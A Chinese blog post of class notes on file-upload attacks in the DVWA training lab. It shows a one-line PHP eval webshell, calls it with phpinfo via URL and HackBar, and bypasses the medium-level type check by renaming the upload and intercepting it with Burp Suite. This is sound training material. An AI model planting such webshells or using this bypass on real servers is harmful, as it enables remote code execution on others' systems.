文件上传(恶意上传)-课堂学习总结(仅供参考)

文件上传需要的工具:phpstudy、写php环境(phpstorm或visual studio code)、火狐浏览器(推荐,下载很快的,需要用到上面的插件)、dvwa搭建

该文章会以一步一步带着做,中间如果遇到问题,可以看看该片段底部是否有总结

目录

1.文件上传的初步体验

可能会遇到的问题

1.upLoad.php文件用浏览器打开后是一堆代码

2.文件传输后没反应,还在文件传输页面

3.文件传输后,打印的数组为空

2.low等级下dvwa测试——一句话木马

1)GET方法

可能会遇到的问题

1.调用函数时空白页面

2)POST方法

3.med等级下dvwa测试——一句话木马

​编辑


1.文件上传的初步体验

1)在phpstudy的www下创建一个文件叫upLoad.php,叫upLoad.html也行

该文件主要作用是创建一个简单的文件传输的页面,最主要的就是标红的三行

action如果没有参数,表示在传输到本地,并对传输的文件进行进一步操作

enctype="multipart/fprm-data"必须写,表示要文件传输

内容如下:

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<form action="doaction.php" method="post" enctype="multipart/form-data">
<input type="file" name="myfile">
</br>
<input type="submit" value="文件上传">
</form>
</body>
</html>

2)在同路径下创建doaction.php文件

<?php

$_FILES['myfile']=isset($_FILES['myfile']) ? $_FILES['myfile']:null;
//判断是否上传文件,,

rename($_FILES['myfile']['tmp_name'],'D:\桌面\1.jpg');
//修改文件的路径,如果不修改他将会保存在默认路径
//C:\User\ASU\AppDatae\Locals\Temp\phpE186.tmp
//而且保存时间极短,可以用sleep(20)来延长保存时间

//sleep(20);//延长程序执行时间

var_dump($_FILES);
/**打印结果
 * array(1) { ["myfile"]=> array(5) { ["name"]=> string(19) "青蛙看手机.jpg" ["type"]=> string(10) "image/jpeg"
 * ["tmp_name"]=> string(44) "C:\User\ASU\AppDatae\Locals\Temp\phpE186.tmp"
 * ["error"]=> int(0) ["size"]=> int(32429) } }
 */

可能会遇到的问题

1.upLoad.php文件用浏览器打开后是一堆代码

解:1、直接看着个博主的解决方法吧,不成功再看我的,他的解决办法是根源:html表单提交给PHP然后浏览器显示出了PHP的源代码_php小学一年级生的博客-CSDN博客

2、改为html后缀

3、phpstudy中apache的问题,检查,让两个路径一致

 这个不要看我的,我的不一致,但我能改

 我来给解释一下,第一张图的路径就表示了apache的默认打开网站的路径,第二张图的路径表示域名localhost,就是127.0.0.1的这个网站的默认路径,两个路径一致后,重启服务,一般就解决了。

2.文件传输后没反应,还在文件传输页面

解:1.检查是否打错字,我同学的表单form里的action打成actiom,打错了,导致submint后没反应

3.文件传输后,打印的数组为空

1.检查是否写有<form action="doaction.php" method="post" enctype="multipart/form-data">

标红的,并检查是否打错字

2.可能是php.ini里的file_uploads没开

进入找到php.ini,寻找方法,打开phpstudy

 

 打开后按crtl+f,查找file_uploads,改为On


一句话木马

环境:在火狐浏览器里打开dvwa网站,在dvwa里进行文件上传

目的:在low等级,med等级下尝试传入木马

结果:能正常调用传入的木马,这里我们使用phpinfo()进行演示

phpinfo()函数是php自带的一个函数,用来显示该php的版本信息及相关内容,木马的本质就是一串代码,只要能调用我们传入的函数,那我们就能传入更加复杂的木马。

我们先写一个shell.php木马(存放位置无所谓,好找就行),内容:

<?php
@eval($_GET['hack']);

这里的$_GET按后文的要求改变为$_POST,hack也可以换成其他参数,这里和我一样就行,我好带着你做。

打开dvwa的网站,至于怎么打开,跟着我来吧,

我们默认打开的路径不就是www下嘛,然后到D:\PHPStuday\phpstudy_pro\WWW\DVWA\DVWA-master,这是我的路径,你找你自己的。

然后就在地址栏里这样写:127.0.0.1/DVWA/DVWA-master/setup.php

之后就是dvwa的搭建了,请大家找其他博主去做吧

如果你dvwa进不去,嗯~~~,先看其他博主,去解决一下这个问题吧。

我同学写的,可以参考

DVWA的安装_小萌新浮安的博客-CSDN博客

登录dvwa的账号和密码是admin和password

进入dvwa的文件上传的页面

2.low等级下dvwa测试——一句话木马

1)GET方法

get方法的特点就是可以在地址栏里输入,节省了成本——不用我再去下脚本了。

首先导入shell.php脚本,导入成功后会显示下面一句话——

../../hackable/uploads/shell.php succesfully uploaded!

表明把传入的文件要移动的路径,类似于函数rename。

现在’木马‘已经传入,我们可以调用了。

在地址栏里输入路径

因为我搭建过网站,所以我这里前面用的域名,你们这样写

127.0.0.1/DVWA/DVWA-master/hackable/uploads/shell.php?hack=phpinfo();

可能会遇到的问题

1.调用函数时空白页面

去看看你的shell.php文件里是$_GET吗,改完之后,再上传1遍

2)POST方法

去看看你的shell.php文件,把$_GET改成$_POST,改完之后,再上传一遍

 

这次我们用火狐浏览器打开这个网站,并下载一个脚本——HackBar Quantum

就这给绿色的,默认下载就行


 顺便下载一个FoxyProxy 标准版,一上传文件等级到中级的时候会用

 下载完之后,我们再地址栏中输入127.0.0.1/DVWA/DVWA-master/hackable/uploads/shell.php

打开HackBar Quantum,然后回车进入,看图

 

 点击run

可以看出右边的页面已经修改成功


3.med等级下dvwa测试——一句话木马

 修改等级为中级

中级后可以看一些代码,可以看出,上传文件的类型进行了限制。

 我们想出的办法就是修改后缀,这样测试过,可以成功传入,但是怎么调用呢,你想,后缀改为jpg后,我们去调用,电脑会默认用图片工具去打开这个文件,但是很明显,是打不开的。所以我们可以用代理,当一个中间人,去拦截这个请求包,去把后缀改成php,注意此时的请求包已经经过了检测,所以我们再去修改是没问题的。这样我们就可以继续用low下的方法去调用这个文件。

所以我们还要准备好burpsuite去当代理,这个自己准备吧。

问:有小狐狸代理了,为什么还要burpsuite再来一次代理?

这两个的作用不一样,首先小狐狸相当于浏览器设置开启代理功能,真正其拦截作用的是burpsuite。

先进入到网页!

再开启小狐狸!进行设置

 别忘点保存

然后开启

 开启burpsuite进行设置,默认选项开启就行

 

 上传的时候要重命名为jpg文件

 上传!

 

 

关闭代理

 我们这里用POST方法进行调用演示,POST还得用脚本,GET方法大家可以自行尝试

成功,有问题评论区里问,看见就回复,我还能把各位的错题整理到这个博客上。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值